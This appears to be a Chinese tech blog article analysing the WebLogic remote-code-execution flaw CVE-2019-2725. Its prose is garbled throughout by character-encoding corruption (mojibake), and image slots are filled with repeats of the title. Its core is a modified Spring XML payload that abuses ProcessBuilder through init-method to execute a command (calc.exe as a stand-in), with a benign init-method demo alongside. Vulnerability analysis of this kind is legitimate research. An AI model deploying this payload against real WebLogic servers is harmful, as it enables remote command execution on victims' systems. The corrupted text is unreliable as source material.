溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Weblogic漏洞CVE-2019-2725的示例分析

發(fā)布時(shí)間:2021-12-22 20:59:42 來(lái)源:億速云 閱讀:144 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章給大家介紹Weblogic漏洞CVE-2019-2725的示例分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

0x01 概述

Weblogic漏洞CVE-2019-2725的示例分析

0x02 深入

構(gòu)造方法可以參考這個(gè)CVE-2017-17485。

Weblogic漏洞CVE-2019-2725的示例分析

先看看這個(gè)漏洞的payload。

Weblogic漏洞CVE-2019-2725的示例分析

再看看如何利用這個(gè)漏洞,我們發(fā)現(xiàn)這個(gè)漏洞利用方式是通過(guò)org.springframework.context.support.FileSystemXmlApplicationContext這個(gè)方法去加載惡意xml文件,而在上面的xml文件中通過(guò)spel表達(dá)式可以觸發(fā)相關(guān)payload。

Weblogic漏洞CVE-2019-2725的示例分析

回到本次 weblogic 上, weblogic 也有這個(gè)相關(guān)構(gòu)造函數(shù),所以我們可以使用這個(gè)payload先試試,測(cè)試過(guò)程中發(fā)現(xiàn)無(wú)法使用,深究一下看一下代碼,我們發(fā)現(xiàn) weblogic 解析 xml 文件的類com.bea.core.repackaged.springframework.beans.factory.support.BeanDefinitionValueResolver

Weblogic漏洞CVE-2019-2725的示例分析

我在這里打一個(gè)斷點(diǎn),這樣進(jìn)入

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext之后的操作就很明顯。

Weblogic漏洞CVE-2019-2725的示例分析

這個(gè)地方和 CVE-2017-17485 的payload觸發(fā)位置相比,少了一個(gè)表達(dá)式解析方法

Object valueObject=evaluate(TypedStringValue)

也就是說(shuō)這里xml沒(méi)辦法通過(guò)類似對(duì) #{ pb.start() } 開(kāi)始針對(duì) pb 這個(gè) bean 進(jìn)行操作。所以說(shuō)這里需要調(diào)整理一下 payload ,我調(diào)整后的結(jié)果如下所示。

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg value="calc.exe" />
</bean>
</beans>

關(guān)于在spring  容器初始化 bean 和銷毀前所做的操作定義方式有三種:第一種:通過(guò)@PostConstruct 和 @PreDestroy 方法 實(shí)現(xiàn)初始化和銷毀bean之前進(jìn)行的操作

第二種是:通過(guò)在xml中定義init-method 和  destory-method方法

第三種是: 通過(guò)bean實(shí)現(xiàn)InitializingBean和 DisposableBean接口

CVE-2017-17485 這個(gè)漏洞的觸發(fā) payload 用的是 spel 表達(dá)式的方法注冊(cè) bean ,而我們這里由于缺少相關(guān)解析文件無(wú)法使用 spel 表達(dá)式,這里可以使用 init-method 方法來(lái)解決這里這個(gè)問(wèn)題,可以先看一個(gè)例子

測(cè)試程序如下:

public class TestInitMethod{
public void testInit(){
System.out.println("test init-method");        
}
}

配置文件如下:

//spring.xml
<bean id="testInitMethod" class="com.TestInitMethod" init-method="testInit"></bean>

Main主程序如下:

public class Main {
public static void main(String[] args){
ClassPathXmlApplicationContext context1 = new ClassPathXmlApplicationContext("spring.xml");
  }
  }

打印如下結(jié)果:

test init-method

這里為什么沒(méi)辦法支持 spel ,我的想法可能是因?yàn)?strong>spring版本過(guò)低,所以沒(méi)辦法支持spel表達(dá)式。當(dāng)然FileSystemXmlApplicationContext是繼承AbstractXmlApplicationContextWeblogic漏洞CVE-2019-2725的示例分析ClassPathXmlApplicationContext也是繼承AbstractXmlApplicationContext。Weblogic漏洞CVE-2019-2725的示例分析所以理論上這個(gè)類也可以,試試看,OK確實(shí)也可以。Weblogic漏洞CVE-2019-2725的示例分析

關(guān)于Weblogic漏洞CVE-2019-2725的示例分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI